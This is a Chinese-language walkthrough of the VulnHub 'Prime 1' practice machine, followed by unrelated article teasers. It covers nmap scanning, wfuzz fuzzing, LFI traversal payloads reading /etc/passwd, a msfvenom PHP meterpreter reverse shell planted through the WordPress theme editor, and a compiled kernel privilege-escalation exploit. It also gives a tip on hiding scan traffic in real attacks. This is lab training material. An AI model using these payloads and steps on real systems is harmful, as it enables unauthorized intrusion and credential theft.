VulnHub | Prime - 1
https://vulnhub.com/entry/prime-1,358/https://vulnhub.com/entry/prime-1,358/
0x01:靶场简介
Prime 1 是 VulHub 中的一台用于 OSCP 考试练习的靶机。通过本靶机,我们可以系统的了解的渗透测试的全流程。本靶机的通关目标如下:
-
Get The User Flag => 拿到用户级别的 Flag。
-
Get The Root Flag => 拿到管理员级别的 Flag。
通过本靶场你可以学习到如下知识点:
-
信息收集 => 主机发现、端口扫描、目录扫描、Fuzz、LFI(本地文件包含漏洞)
-
漏洞挖掘 => WordPress 漏洞扫描
-
后台入侵 => WordPress 后台入侵
-
Linux 内核提权
靶场的搭建很简单,从下面的链接将靶机下载下来后解压,然后通过 Vmware 打开即可:
Download:https://download.vulnhub.com/prime/Prime_Series_Level-1.rar
0x02:渗透流程
0x0201:信息收集 - 主机发现
将 Prime1 靶机下载好后,其界面显示如下,可以看到用户描述部分有一个小提示 “find password.txt in my directory” OK,这里是个小细节吧。当然,现在作为攻击者的你是不知道这个小提示的:
渗透测试第一步,就是收集被攻击方的信息,为我们后续的渗透方向做指导,当然,第一步,是先看一下自己的 IP,知道自己在哪:
ip address # 查看本机 IP 信息
如上,攻击机 Kali (VMWare 中的一台虚拟机)的 IP 是 192.168.0.100。
接下来,我们使用 Nmap 这款工具来扫描一下内网存活的主机:
nmap -sP 192.168.0.0/24 # 使用 Ping 扫描探测 192.168.0.0 这个网段存活的主机
下面我们分析一下结果,Nmap 使用 Ping 扫描获取到了 192.168.0.0 这个网段中目前有 5 台机器是存活的:
-
192.168.0.1
=> 这个是我真实的物理机 -
192.168.0.2
=> 这个是 VMware 默认的网关地址 -
192.168.0.106
=> 用户机/服务器(靶机) -
192.168.0.254
=> 这个笔者也不知道是啥 -
192.168.0.100
=> 本机的 IP 地址(Kali 攻击机)
拓展:Nmap 底层原理分析 -
nmap -sP
笔者在使用 Nmap 的时候,在我的物理机上开启的 WireShark 抓包,抓到了如下数据包:
可以看到,WireShark 抓到了一堆 ARP (将 IP 地址转化为 Mac 地址的一个协议)请求包,我们主要关注 Info 中的信息:
Who has 192.168.0.1?Tell 192.168.0.100
翻译:谁有 192.168.0.1 的 Mac 地址,请告诉 192.168.0.100
192.168.0.1 is at 00:50:56:c0:00:08
翻译:192.168.0.1 的 Mac 地址是 00:50:56:c0:00:08
从抓包中可以看出,192.168.0.100 这个 IP(攻击者)正在通过 ARP 协议借着询问 Mac 地址的名义,探测谁还在线,比如 192.68.0.1 就回复了攻击者自己的 Mac 地址,攻击者就知道,哦,它小子在线。这就是所谓的“醉翁之意不在酒”。
同时,我们也可以了解到
-sP
本来应该是做 Ping 扫描的,使用的应该是 ICMP 协议。但是对于局域网,Nmap 很巧妙的使用了 ARP 协议来代替 ICMP 协议来进行内网的主机探测。
如上,我们成功通过 Nmap 获得了局域网中主机的存活信息,并确定了靶机的地址。
0x0202:信息收集 - 端口扫描
确定了靶机的地址后,接下来我们就要去识别靶机开放的服务,即端口。使用如下命令,扫描靶机的所有端口:
nmap -p 0-65535 -A 192.168.0.106
拓展:Nmap 底层原理分析 -
-p -A
Nmap 的
-p
用于指定探测的端口范围,-A
代表启用版本探测和操作系统信息探测。如下,是笔者在 Kali 中使用
nmap -p 0-65535 -A 192.168.0.106
然后通过 WireShark 在物理机(192.168.0.1)中抓的包:
可以看到攻击机发了一连串的 TCP 包给靶机,如果你挨个查看其 TCP 层的端口,可以发现,每个包的目的端口(Dst Port)都不同,而且还是乱着的,不是按照 1,2,3,4 这种需要请求的(这个是 Nmap 的混淆机制)。
我们在选项中还启用了
-A
,Nmap 还会自动探测目标服务的版本信息和操作系统信息。但这个选项有的小问题,会留下马脚,我们搜索nmap
:
可以发现,Nmap 在探测目标服务信息的时候,携带的 User-Agent 明显带有 nmap 的独特标记。所以呐,真实渗透的时候记得自己对 Nmap 进行一下流量混淆,这些太明显的特征还是不要留下比较好。
如上,Nmap 识别出来了目标的 22 和 80 端口处于开放状态,并且还识别出来了目标的服务版本,那么接下来,我们可以针对这开放的两个服务展开攻击。
-
针对 22 端口 SSH 服务:可以尝试使用 Hydra 进行暴力猜解,然后登录目标服务器。
-
针对 80 端口 Web 服务:常规的 Web 漏洞挖掘然后看看能不能进后台拿到 Shell。
0x0203:Web 渗透 - 信息收集
已知靶机开放了 80 端口,我们直接通过浏览器访问,看看目标有啥服务:
如图,就一张图片啥也没,查看页面源码也非常的干净:
既然从根目录无法 GET 任何有效信息,那我们就自己拓展目标的攻击面。
0x0204:Web 渗透 - 目录扫描
Web 渗透中扩大攻击面的方式之一就是目录扫描,输入下面的命令,通过 dirb 对目标进行目录扫描:
dirb http://192.168.0.106
整合一下收集的目录信息(省略一些没用的东西):
---- Scanning URL: http://192.168.0.106/ ----+ http://192.168.0.106/dev (CODE:200|SIZE:131) + http://192.168.0.106/index.php (CODE:200|SIZE:136) ==> DIRECTORY: http://192.168.0.106/wordpress/ ---- Entering directory: http://192.168.0.106/wordpress/wp-content/ ----+ http://192.168.0.106/wordpress/wp-content/index.php (CODE:200|SIZE:0)
如上,扫描到了几个目录和一些文件,重要的是 /wordpress/
这个目录,证明目标的 Web 采用了 WordPress 这一 CMS 框架,我们访问看看:
可以看到,是一个初始的 WordPress 界面。如果你搭建过 WordPress 就会知道,WordPress 会以用户身份自动发布一篇 Hello World 的文章,所以从上面我们可以知道该 WordPress 中存在一个叫 victor
的用户。
出了扫描到了 wordpress 目录,还扫到了一个 /dev 的目录,访问看看,啥也不是:
第一轮目录扫描,我们收集到了一个 wordpress 用户名,但是没啥用(当然,你可以去 wordpress 的登录页面尝试爆破密码)。
下面,我们指定扫描的扩展名,再扫一遍:
dirb http://192.168.0.106/ -X .txt, .php, .zip # 指定扩展名扫描
如上,成功出货,我们先访问 secret.txt 看看:
他说,它想帮助我,叫我们对我们找到的 php 页面做更多的 Fuzz(模糊测试),并提供了一个参考的链接。这个链接是关于 wfuzz 这款 Fuzz 工具的简介(感兴趣的可以看看)。然后它末尾还有一个备注(提示,暂时不知道有啥用,直接访问 location.txt 是 Not Found):
//see the location.txt and you will get your next move//
0x0205:Web 渗透 - Fuzz 测试
Fuzz 即模糊测试,可以用来测试接口的隐藏参数,也可以用来挖掘隐藏的目录。
输入下面的命令,针对我们之前收集到的 index.php
做接口参数的 Fuzz:
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.0.106/index.php?FUZZ=123# -w <字典路径> => 指定 Fuzz 测试的字典文件# ?FUZZ=123 => wfuzz 会使用字典中的内容替换 FUZZ 占位字段
如上,返回的结果中 Chars 为 136 Ch 的非常多。模糊测试本就是对目标参数进行爆破,失败的情况占绝大多数,因此所有 Chars 列为 136 Ch 的结果的 Payload 应该都是失败的。 对于这些结果,我们并不关心,所以我们可以使用如下 Payload 对结果进行过滤:
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hh 136 http://192.168.0.106/index.php?FUZZ=123
如上,成功得到一个 file 参数。此时,懂 Web 攻防的宝子估计就会联想到本地文件包含漏洞了(基础知识哈),我们访问 index.php
并携带上该参数,包含一下 index.php
看看:
如上,显示我们挖掘了错误的文件,此时联想一下我们从 secret.txt 得到的提示,我们尝试包含 location.txt 看看:
成功拿到提示,它叫我们携带 secrettier360
这个参数去访问其他的 php 页面来尝试获得更多的信息。我们总共就找到了两个 PHP 页面,一个 index.php 另外一个就是 image.php,我们携带这个参数去访问看看:
它提示我们拿到了正确的参数,但是我们没有获得想要的结果。修改参数,我们传入 ?secrettier360=index.php
尝试包含 index.php 的内容(其实就是测试看看这个功能点是不是文件包含漏洞):
如上,它成功包含了 index.php
中的页面,证明文件包含漏洞的存在,那么接下来就是漏洞利用了。
0x0206:Web 渗透 - LFI 漏洞利用
我们成功找到一个本地文件包含的漏洞点。接下来,我们尝试用该漏洞拿到服务器的权限,首先尝试读取 /etc/password
(该文件中存放了系统中的每个用户信息,且默认是任意用户都可读的)中的内容:
?secrettier360=../../../../../../../etc/passwd
如上,成功读取到 /etc/passwd 中的内容,以下是获得的关键信息(笔者排除了一些 /nologin 的信息,就是没有远程登录权限的账户):
sync:x:4:65534:sync:/bin:/bin/syncvictor:x:1000:1000:victor,,,:/home/victor:/bin/bashsaket:x:1001:1001:find password.txt file in my directory:/home/saket:
以上三个用户支持远程登录,victor 这个用户回看目录扫描部分,wordpress 中就有这个用户。saket 它有一个提示,叫我们在它的用户主目录下找 password.txt 这个文件,说找就找:
?secrettier360=../../../../../../../home/saket/password.txt
成功拿到 password.txt 中的信息 follow_the_ippsec
,结合文件名,笔者推测这是某个用户的登录密码。
我们再尝试读取 /etc/shadow
(这个里面存放了服务器用户的密码)这个文件看看:
很可惜,没能 GET 到。那么现在目光回看到 password.txt 这个拿到的密码,它会是啥的密码呢?
整合一下目前已经收集到的信息:
-
wordpress 系统中存在的用户:victor
-
ssh 中可以进行登录的用户:sync、victor、saket
一个个试呗,访问 wordpress 的登录地址(这个一般都是默认的),使用 saket : follow_the_ippsec
尝试登录(毕竟这个密码是在 saket 的主目录发现的),结果发现登录失败:
然后使用 victor : follow_the_ippsec
尝试登录:
如上,成功进入 WordPress 后台管理页面,进入 WordPress 后台管理页面后还没完呢,我们接下里就是尝试利用 WordPress 漏洞拿到靶机的 Shell。
0x0207:WordPress 渗透 - WordPress 漏洞扫描
WordPress 是一款老牌 CMS 系统,很多在线的个人博客站点都会采用该模板进行搭建。也因为它的广泛性,所以很多人会挖它的漏洞,自然而然也会有很多自动化的漏洞测试工具。
不过在使用工具前,笔者还是提一嘴,如果没有这些漏扫工具,你会从哪些方面来尝试挖掘 WordPress 的漏洞?以下是笔者提供的几个思路:
-
WordPress 产品本身漏洞
-
WordPress 第三方插件漏洞
-
WordPress 主题漏洞(很多人不懂博客美化,自然就有人提供主题)
对于 WordPress 的漏洞扫描,你可以从网上搜历史的漏洞,然后用那些 POC 来打,当然也可以用 CMSeek 这款工具来进行一个自动化的扫描。
CMSeek 本来是做 CMS 指纹识别的,但其内部也包含了一些漏洞探测的功能,非常强大。输入下面的命令,使用 CMSeek 来对 WordPress 进行漏洞扫描:
cmseek -u http://192.168.0.106/wordpress/
OK,啥也没扫出来,不过它扫出来了目标的 WordPress 的版本和当前正在使用的主题。
除了利用现成的漏洞,我们其实还有一个思路,就是利用 WordPress 的主题编辑功能。如果你使用过 WordPress 的话,就会知道,WordPress 其实提供了一个主题编辑器,用户可以自由的往里面写入 PHP 代码或者 HTML 这些东西,能写入代码,我写个反弹链接的后门不就可以咯(拓展一下,除了通过主题编辑器直接嵌入后门代码,我们还可以自定义上传插件,往插件中写入后门木马也是可以拿到 Shell 的)。
0x0208:WordPress 渗透 - 主题编辑器写入后门反弹链接
进入 WordPress 管理后台后,点击 Appearance 然后选择 Theme Editor,如下图,即可看到一个可以编辑代码的地方,这里就是 WordPress 的主题编辑器:
不过很明显,我们当前的用户并没有权限对上面这个文件进行编辑,不然的话,它其实会显示一个 upload 的按钮。
不过先不要灰心,往下找找,看看能不能找到一个我们有权限上传的文件。
如图,成功找到一个有 update 权限的文件(secret.php):
那么接下来,我们就是往里头写入后门文件,然后尝试拿到目标主机的控制权。这里我们当然可以写入一句话木马,做正向连接。但是笔者更倾向于去做反弹连接,因为正向连接很容易会被防火墙拦截,而反弹连接(让被害机主动连接上你的攻击机)适应性则更好。
既然是做反弹连接,我们就得有代码,在 Kali 中输入如下命令,生成 PHP 反弹链接的后门代码:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.100 lport=7777 -o shell.php# -p php/meterpreter/reverse_tcp => 指定生成反弹链接的代码 Payload 模板# lhost=192.168.0.100 => 这个是接收反弹链接的机子的 IP,即攻击机 IP# lport=7777 => 这个是接收反弹链接的端口,即攻击机监听端口
将这串代码复制到 WordPress 的主题编辑器中并点击 Update File:
如上,我们已经成功将反弹链接的后门代码植入到目标系统了。那么下一步就是在本地执行监听程序,然后访问存储后门代码的页面,让后门代码执行,将靶机的 Shell 反弹到我们攻击机上。
在 Kali 上依次输入以下命令,使用 MSF 启动监听程序:
msfconsole # 启动 MSFuse exploit/multi/handler # 使用监听模块set payload php/meterpreter/reverse_tcp # 设置监听模块的 Payload(此处需要与你的木马程序对应)show options # 查看该 Payload 需要设置的内容set LHOST 192.168.0.100 # 设置监听的主机 IP(攻击机 IP)set LPORT 7777 # 设置监听的本机端口(反弹连接连接的端口),这里也要与木马程序对应run # 运行监听程序
至此,我们已经在本地搭建好了监听模块了。那么下一步,就是确定靶机后门程序路径了:
路径怎么找,去 WordPress 官网下一个同样版本的程序回来研究一下不就好咯。首先查看一下目标当前的 WordPress 版本信息:
然后去下面这个位置下载一个对应版本的 WordPress 的源码包:
发行版本归档 – WordPress.org China 简体中文Releases This is an archive of every recorded release t […]
https://cn.wordpress.org/download/releases/#branch-52
去源码包中定位 Twenty Nineteen 主题路径:
如上,成功获得 twentynineteen 这一主题相对于 wordpress 主页的路径:
wordpress\wp-content\themes\twentynineteen
再结合我们之前是把反弹链接的代码写到了 twentynineteen 这一主题下的 secret.php 中,所以我们应该访问的靶机后门路径为:
wordpress/wp-content/themes/twentynineteen/secret.php
如上攻击机已经成功拿到了靶机的 Shell 了。
0x0209:后渗透 - 用户 Flag 获取
在靶场简介中我们写到了,本靶机的通关有两个条件,一个是用户级别 Flag 的获取,一个是 Root 级别 Flag 的获取(其实也就是对应了我们渗透拿到的权限的等级)。
我们首先来看看用户级别的 Flag,利用拿到的 meterpreter shell 看看我们当前的权限:
getuid # 查看当前用户名称
如上,一看就是一个小用户的权限。
我们要拿到用户级别的 Flag,众所周知,Linux 中所有普通用户的主目录都在 /home 下,输入下面的命令查看 /home 下的内容,看看有几个有主目录的用户:
ls /home
如上,发现 /home 目录下有 saket 和 victor 两个用户,观察目录权限:
040755/rwxr-xr-x 4096 dir 2019-08-31 06:15:38 -0400 saket# saket 目录权限: rwx r-x r-x 从左到右依次为 所有者、所属组、其他用户 的对应权限040751/rwxr-x--x 4096 dir 2019-09-01 03:47:29 -0400 victor
如上,可以分辨出,针对 saket 用户的主目录,其他用户拥有可读和可执行的权限,而针对 victor 用户的主目录,其他用户连读都不可以。
所以我们先来看看 saket 这个用户主目录下有啥东西:
ls /home/saket
哎嘿,出货了,password.txt
和 user.txt
,而且其他用户都是可以读取的,我们读取看看:
如上,password.txt 是我们利用文件包含漏洞拿到的 victor 用户的 wordpress 密码文件。user.txt 应该就是我们要拿到的用户 Flag 了,至此,一阶段完成。
0x0210:后渗透 - Linux 内核漏洞提权
拿到了用户 Flag 了,下一步就是尝试获取 Root 级别的 Flag 了,不用想,肯定是在 /root 目录下(root 用户的主目录),针对这个目录,我们普通的小角色肯定无法读取,所以我们就得想办法进行提权。
首先查看一下目标服务器的版本信息:
sysinfo # 查看靶机的版本信息
定位关键信息:ubuntu 4.10.0-28
然后我们去本地搜索看看有没有对应版本的 ubuntu 内核提权脚本:
searchsploit ubuntu 4.10.0-28
如上,第二个脚本标识有 "Local Privilege Escalation" 即本地权限升级。其适用的内核小于 4.13.9 然后适用的系统正好也是 ubuntu 16.04。输入下面的命令将这个 45010.c 脚本导出来看看:
searchsploit -m 45010.c
我们来看看这个脚本中的内容:
使用还是比较容易的,那么下一步我们使用 meterpreter 将这个提权脚本丢到靶机中:
upload /home/kali/Desktop/45010.c /tmp/ # 将本地 45010.c 脚本上传到靶机 /tmp 目录下# 上传到 /tmp 目录下是因为该目录任何人都拥有读写权限
然后我们利用 meterpreter 启动一个交互式的 shell 进入 tmp 目录并尝试编译 45010.c 程序:
shell # 启动交互式的 shellcd /tmp # 进入 tmp 路径ls # 查看当前目录下的内容
输入下面的命令编译 45010.c 文件:
gcc 45010.c -o 45010 # 编译 45010.c 文件,输出的文件名为 45010(这个可以自定义) chmod +x 45010 # 为 45010 (编译后的可执行文件)添加可执行权限
然后输入下面的命令运行编译后的程序:
./45010 # 运行提权脚本whoami # 查看当前权限
如上,我们成功拿到了 root 的权限,提权成功。
0x0211:后渗透 - Root Flag 获取
拿到了 Root 权限后我们来看看 root 用户的主目录有没有 Flag:
ls /root # 查看 root 用户主目录下的内容cat /root/root.txt # 查看 root 用户的 Flag
如上,成功拿到 root 用户的 Flag。至此,本靶机被打穿,GG。
0x03:参考链接
红队打靶:Prime1详细打靶思路之模糊测试+内核提权(vulnhub)_prime1靶机-CSDN博客文章浏览阅读2.2k次,点赞4次,收藏8次。本篇博客详述了vulnhub靶机prime1的打靶思路过程,并非简单复现writeup。打靶过程涉及到关于模糊测试及wfuzz工具的使用、文件包含漏洞利用、wordpress CMS、内核漏洞提权。有关OpenSSH渗透的方法将在下一篇博客中详述。_prime1靶机
https://blog.csdn.net/Bossfrank/article/details/131156420
linux下的/etc/passwd详解 - 进击的davis - 博客园在Linux /etc/passwd文件中每个用户都有一个对应的记录行,它记录了这个用户的一些基本属性。系统管理员经常会接触到这个文件的修改以完成对用户的管理工作。 类似于下面的例子: 从上面的例子我们可以看到,/etc/passwd中一行记录对应着一个用户,每行记录又被冒号(:)分隔为7个字段,其
https://www.cnblogs.com/davis12/p/14373311.html
使用MSF生成各种Payload - lyshark - 博客园Windows: msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST= 攻击机IP LPORT=攻击机端口 -e x86/shikata_ga_nai -b '\x00\x0a\xff'
https://www.cnblogs.com/LyShark/p/10564077.html
破解shadow密码 - 小阿辉谈安全 - 博客园当通过任意文件下载或者目录穿越读取或下载/etc/shadow文件时,可以通过john对加密的密码进行破解
https://www.cnblogs.com/hgschool/p/17070890.html
相关文章:
VulnHub | Prime - 1
https://vulnhub.com/entry/prime-1,358/https://vulnhub.com/entry/prime-1,358/ 0x01:靶场简介 Prime 1 是 VulHub 中的一台用于 OSCP 考试练习的靶机。通过本靶机,我们可以系统的了解的渗透测试的全流程。本靶机的通关目标如下: Get The…...
实验十 Servlet(一)
实验十 Servlet(一) 【实验目的】 1.了解Servlet运行原理 2.掌握Servlet实现方式 【实验内容】 1、参考课堂例子,客户端通过login.jsp发出登录请求,请求提交到loginServlet处理。如果用户名和密码相同则视为登录成功,…...
寒假刷题Day22
一、2570. 合并两个二维数组 - 求和法 class Solution { public:vector<vector<int>> mergeArrays(vector<vector<int>>& nums1, vector<vector<int>>& nums2) {int i 0, j 0, n1 nums1.size(), n2 nums2.size();int tmp 0;…...
KES数据库实践指南:探索KES数据库的事务隔离级别
引言 前两篇文章我们详细讲解了如何安装KES金仓数据库,并提供了快速查询和搭建基于coze平台的智能体的解决方案。今天,我们的焦点将放在并发控制机制和事务隔离级别上。 本文将通过一系列实验操作,深入探讨KES数据库中的并发控制机制和事务…...
基于STM32的智能加湿器设计(新版本)
目录 1、设计要求 2、系统功能 3、演示视频和实物 4、系统设计框图 5、软件设计流程图 6、原理图 7、主程序 8、总结 🤞大家好,这里是5132单片机毕设设计项目分享,今天给大家分享的是加湿器。设备的详细功能见网盘中的文章《12、基于…...
Electricity Market Optimization 探索系列(三)
本文参考链接link 电网容量规划是一个寻求最优发电容量的过程,找到的最优发电容量能够可靠地满足未来电网的需求 发电机的容量和发电成本呈正相关关系,一台发电机的发电量不能超过其额定发电容量,结合我之前的博客所说的内容,可…...
JAVA进阶之线程
为神马有线程?这玩意儿在干嘛??? 回答这个问题,就先要知道一点点计算机的工作方式。 总所周知,计算机有五部分:输入输出、计算器、存储器、控制器。而在计算机内,CPU、内存、I/O之…...
浙江安吉成新照明电器有限公司分布式光伏发电项目--安科瑞Acrel-1000DP分布式光伏监控系统
安科瑞 崔丽洁 项目背景 随着可再生能源的发展,分布式光伏发电成为重要的能源利用方式。浙江安吉成新照明电器有限公司 3234.465kWp 分布式光伏发电项目应运而生。该公司是螺旋节能灯毛管专业生产企业,于 2007 年 6 月成立,具备全自动生产线、…...
pytorch实现主成分分析 (PCA):用于数据降维和特征提取
人工智能例子汇总:AI常见的算法和例子-CSDN博客 使用 PyTorch 实现主成分分析(PCA)可以通过以下步骤进行: 标准化数据:首先,需要对数据进行标准化处理,确保每个特征的均值为 0,方差…...
2025_2_4 C语言中关于free函数及悬空指针,链表的一级指针和二级指指针
1.free函数 free函数所接受的参数只能是动态分配出来的内存,,否者free的行为是未定义的同一片内存空间不能被free两次 free过后的内存可能会引发悬空指针的问题 2.悬空指针 悬空指针的问题主要是free过后的内存空间,原先指向这片空间的指…...
pytorch逻辑回归实现垃圾邮件检测
人工智能例子汇总:AI常见的算法和例子-CSDN博客 完整代码: import torch import torch.nn as nn import torch.optim as optim from sklearn.feature_extraction.text import TfidfVectorizer from sklearn.model_selection import train_test_split …...
一次线程数超限导致的hive写入hbase作业失败分析
1.集群配置 操作系统:SuSe操作系统 集群节点:100台相同配置的服务器 单台:核心112Core,内存396G 2.问题现象 现象1:跑单个入库任务报错,批量提交任务后出现OOM异常 执行12个hivesql,将数据写入hbase.hbase入库有近一半的任务报错。 每次报错的任务不是同一个,hivesql…...
JAVA安全—反射机制攻击链类对象成员变量方法构造方法
前言 还是JAVA安全,哎,真的讲不完,太多啦。 今天主要是讲一下JAVA中的反射机制,因为反序列化的利用基本都是要用到这个反射机制,还有一些攻击链条的构造,也会用到,所以就讲一下。 什么是反射…...
Java集合面试总结(题目来源JavaGuide)
问题1:说说 List,Set,Map 三者的区别? 在 Java 中,List、Set 和 Map 是最常用的集合框架(Collection Framework)接口,它们的主要区别如下: 1. List(列表) 特点…...
【区块链】深入理解椭圆曲线密码学(ECC)
🌈个人主页: 鑫宝Code 🔥热门专栏: 闲话杂谈| 炫酷HTML | JavaScript基础 💫个人格言: "如无必要,勿增实体" 文章目录 深入理解椭圆曲线密码学(ECC)1. 概述2. 椭圆曲线的数学基础2.1 基本定义2.2 有限…...
接口游标分页
由于数据库本身的的限制(以MySQL为例),以 page_num,page_size 为代表的偏移分页方式不可避免的会遇到深分页问题。 不过用户若要找符合条件的少量数据,通过翻页则十分低效,且大多用户也不会往后翻很多页,故对于C端筛选数据场景,限制分页数量增加筛选条件才是标准解决方…...
大数据数仓实战项目(离线数仓+实时数仓)2
目录 1.课程目标和课程内容介绍 2.数仓维度建模设计 3.数仓为什么要分层 4.数仓分层思想和作用 5.数仓中表的种类和同步策略 6.数仓中表字段介绍以及表关系梳理 订单表itcast_orders 订单明细表 itcast_order_goods 商品信息表 itcast_goods 店铺表 itcast_shops 商…...
C++输入输出(上)
cin和cout cin是C中提供的标准输入流对象,一般针对的是键盘,也就是从键盘上输入的字符流,使用 cin来进行数据的提取,cin一般是和 >> (流提取运算符) 配合使用的。 cin的功能和scanf是类似的 cout是C中提供的标准输出流对象,一般针对的是控制台的窗口,也就是将数据以字符…...
SpringBoot 连接Elasticsearch带账号密码认证 ES连接 加密连接
依赖 <dependency><groupId>org.elasticsearch.client</groupId><artifactId>elasticsearch-rest-high-level-client</artifactId> </dependency>配置文件 es:ip: 172.23.4.130port: 9200user: elasticpassword: qwertyuiop读取配置文件…...
选择排序
选择排序的基本思想: 每⼀次从待排序的数据元素中选出最⼩(或最⼤)的⼀个元素,存放在序列的起始位置,直到全部待 排序的数据元素排完。 直接选择排序 1. 在元素集合 array[i]--array[n-1] 中选择关键码最⼤(⼩)的数据…...
Linux——进程概念
目录 一、系统调用和库函数概念二、基本概念三、描述进程-PCB3.1 task_struct-PCB的一种3.2 task_ struct内容分类 四、组织进程五、查看进程六、通过系统调用获取进程标示符七、通过系统调用创建进程- fork初始7.1 fork函数创建子进程7.2 fork 之后通常要用 if 进行分流 八、进…...
强化学习笔记(5)——PPO
PPO视频课程来源 首先理解采样期望的转换 变量x在p(x)分布下,函数f(x)的期望 等于f(x)乘以对应出现概率p(x)的累加 经过转换后变成 x在q(x)分布下,f(x)*p(x)/q(x) 的期望。 起因是:求最大化回报的期望,所以对ceta求梯度 具体举例…...
Java设计模式:行为型模式→状态模式
Java 状态模式详解 1. 定义 状态模式(State Pattern)是一种行为型设计模式,它允许对象在内部状态改变时改变其行为。状态模式通过将状态需要的行为封装在不同的状态类中,实现对象行为的动态改变。该模式的核心思想是分离不同状态…...
postgresql的用户、数据库和表
在 PostgreSQL 中,用户、数据库和表是关系型数据库系统的基本组成部分。理解这些概念对数据库管理和操作至关重要。下面是对这些概念的详细解释: 1. 用户(User) 在 PostgreSQL 中,用户(也称为 角色&#…...
什么是Rust?它有什么特点?为什么要学习Rust?
什么是Rust?它有什么特点?为什么要学习Rust? 如果你是一名编程初学者,或者已经有一些编程经验但对Rust感兴趣,那么这篇文章就是为你准备的!我们将用简单易懂的语言,带你了解Rust是什么、它有什…...
Maven(Ⅱ):依赖范围,依赖传递,依赖阻断,可选依赖
1. Maven 依赖范围 概念 依赖范围(Dependency Scope)用于控制依赖在不同构建阶段的可见性和可用性。Maven 定义了几种不同的依赖范围,每种范围都有其特定的使用场景。 常见依赖范围及用途 compile:默认的依赖范围,…...
个人c项目 java项目解释
1. 测试环境与方法 中文: 本地测试环境:可以在一台配置中等的电脑上构建一个测试环境,利用现成的大词库数据(例如英文词典或自定义数据集)来构建 Trie。使用 C 语言的编译器(例如 gcc)编译项目&…...
51单片机看门狗系统
在 STC89C52 单片机中,看门狗控制寄存器的固定地址为 0xE1。此地址由芯片厂商在硬件设计时确定,但是它在头文件中并未给出,因此在使用看门狗系统时需要声明下这个特殊功能寄存器 sfr WDT_CONTR 0xE1; 本案将用一个小灯的工作状况来展示看门…...
爬虫基础(五)爬虫基本原理
目录 一、爬虫是什么 二、爬虫过程 (1)获取网页 (2)提取信息 (3)保存数据 三、爬虫可爬的数据 四、爬虫问题 一、爬虫是什么 互联网,后面有个网字,我们可以把它看成一张蜘蛛网…...
Android 使用ExpandableListView时,需要注意哪些细节
1. 布局属性设置 尺寸属性 宽度和高度:要合理设置 android:layout_width 和 android:layout_height 属性。如果设置为 match_parent,它会填满父容器;设置为 wrap_content,则会根据内容自动调整大小。例如,若想让 Exp…...
人工智能赋能企业系统架构设计:以ERP与CRM系统为例
一、引言 1.1 研究背景与意义 在数字化时代,信息技术飞速发展,人工智能(Artificial Intelligence, AI)作为一项具有变革性的技术,正深刻地影响着各个领域。近年来,AI 在技术上取得了显著突破,…...
使用HttpClient和HttpRequest发送HTTP请求
项目中经常会用到向第三方系统发送请求来传递数据或者获得信息,一般用的比较多的为HttpClient 和 HttpRequest,这里简要总结一下 HttpClient 和 HttpRequest 的用法 一、HttpClient 1. 发送get请求 public static String get(String url, Map<Stri…...
深度解析:网站快速收录与服务器性能的关系
本文转自:百万收录网 原文链接:https://www.baiwanshoulu.com/37.html 网站快速收录与服务器性能之间存在着密切的关系。服务器作为网站运行的基础设施,其性能直接影响到搜索引擎对网站的抓取效率和收录速度。以下是对这一关系的深度解析&am…...
Android记事本App设计开发项目实战教程2025最新版Android Studio
平时上课录了个视频,从新建工程到打包Apk,从头做到尾,没有遗漏任何实现细节,欢迎学过Android基础的同学参加,如果你做过其他终端软件开发,也可以学习,快速上手Android基础开发。 Android记事本课…...
DeepSeek-R1大模型学习笔记
DeepSeek-R1模型架构设计 DeepSeek-R1基于DeepSeek-V3 base模型,提出了一系列训练策略,包括基于纯强化学习的训练(DeepSeek-R1-Zero)、基于多阶段的训练和冷启动(DeepSeek-R1)、知识蒸馏等。下面的思维导图…...
Unity游戏(Assault空对地打击)开发(4) 碰撞体和刚体的添加
前言 飞机和世界的大小关系不太对,我稍微缩小了一下飞机。 详细步骤 选中所有地形对象,如果没有圈起的部分,点击Add Component搜索添加。 接着选中Player对象,添加这两个组件,最好(仅对于本项目开发&#x…...
每日一题——滑动窗口的最大值
滑动窗口的最大值 题目描述示例说明 解题思路双端队列的特点实现步骤代码实现(C语言)代码解析 总结 题目描述 给定一个长度为 n 的数组 num 和滑动窗口的大小 size,找出所有滑动窗口里数值的最大值。 例如,如果输入数组 {2, 3, …...
DeepSeek 的含金量还在上升
大家好啊,我是董董灿。 最近 DeepSeek 越来越火了。 网上有很多针对 DeepSeek 的推理测评,除此之外,也有很多人从技术的角度来探讨 DeepSeek 带给行业的影响。 比如今天就看到了一篇文章,探讨 DeepSeek 在使用 GPU 进行模型训练…...
list容器(详解)
list的介绍及使用(了解,后边细讲) 1.1 list的介绍(双向循环链表) https://cplusplus.com/reference/list/list/?kwlist(list文档介绍) 1. list是可以在常数范围内在任意位置进行插入和删除的序…...
FinRobot:一个使用大型语言模型的金融应用开源AI代理平台
“FinRobot: An Open-Source AI Agent Platform for Financial Applications using Large Language Models” 论文地址:https://arxiv.org/pdf/2405.14767 Github地址:https://github.com/AI4Finance-Foundation/FinRobot 摘要 在金融领域与AI社区间&a…...
【llm对话系统】大模型 Llama 源码分析之 LoRA 微调
1. 引言 微调 (Fine-tuning) 是将预训练大模型 (LLM) 应用于下游任务的常用方法。然而,直接微调大模型的所有参数通常需要大量的计算资源和内存。LoRA (Low-Rank Adaptation) 是一种高效的微调方法,它通过引入少量可训练参数,固定预训练模型的权重,从而在保持性能的同时大…...
为AI聊天工具添加一个知识系统 之86 详细设计之27 数据处理:ETL
本文要点 ETL 数据提取 作为 数据项目的起点。数据的整个三部曲--里程碑式的发展进程: ETL : 1分形 Type()-层次Broker / 2完形 Method() - 维度Delegate /3 整形 Class() - 容器 Agent 1变象。变象 脸谱Extractor - 缠度(物理 皮肤缠度…...
「全网最细 + 实战源码案例」设计模式——策略模式
核心思想 策略模式(Strategy Pattern)是一种行为型设计模式,用于定义一系列算法或策略,将它们封装成独立的类,并使它们可以相互替换,而不影响客户端的代码,提高代码的可维护性和扩展性。 结构 …...
框架与代码的形状
作为一个代码的设计者,我之前讨论过代码的形状,从“名字”出发,进行讨论。代码的形状:重构的方向-CSDN博客 从比喻的角度来看,名字似代码的血和肉,而框架则似代码的骨架。 猎豹和大象 在大自然中&…...
解决vscode扩展插件开发webview中的请求跨域问题
